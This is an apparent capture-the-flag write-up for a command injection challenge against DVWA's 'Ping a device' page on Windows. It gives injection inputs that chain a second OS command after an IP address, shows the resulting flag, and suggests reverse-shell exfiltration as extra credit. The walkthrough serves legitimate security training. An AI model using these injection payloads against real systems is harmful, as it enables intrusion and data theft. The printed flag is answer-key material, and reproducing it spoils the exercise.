

🌟 Challenge: Command Injection – Ping a Device

Category: Web Exploitation

Target App: DVWA on Windows Server 2022

Difficulty: ● Easy

Vulnerability: Command Injection

Flag Path: C:\xampp\htdocs\DVWA-master\vulnerabilities\exec\flag.txt

Flag: FLAG{command_injection_owned}

📄 Description

In this challenge, users exploit a **command injection vulnerability** in the `Ping a device` function of DVWA. By injecting additional OS commands after the IP address input, an attacker can execute arbitrary commands on the Windows host system.

🎯 Objective

Exploit the vulnerable input field to:

1. **Inject OS commands**
 2. **Verify command execution**
 3. **Read the local flag file**
-

🔍 Walkthrough Summary

Input field: 127.0.0.1 && type flag.txt

This sends the following to the Windows command shell:

```
ping 127.0.0.1 && type flag.txt
```

Output:

```
Reply from 127.0.0.1...  
FLAG{command_injection_owned}
```

🖼️ Screenshot

Notes

- This works because DVWA (on low security) does not sanitize the IP input.
- The Windows `&&` operator allows chaining commands (`whoami && dir && type flag.txt`).
- On Linux you'd use `;` or `&&` depending on shell behavior.

Why This Matters

This simulates a real-world vulnerability often found in misconfigured or legacy systems. A great stepping stone into **remote code execution**, **post-exploitation**, and **privilege escalation**.

Extra Credit

- Try exfiltrating the flag via a reverse shell.
- Modify the flag path to a hidden directory (`C:\ProgramData\flags\`).
- Add a **flag validator script** to track who found it (for multiplayer CTFs).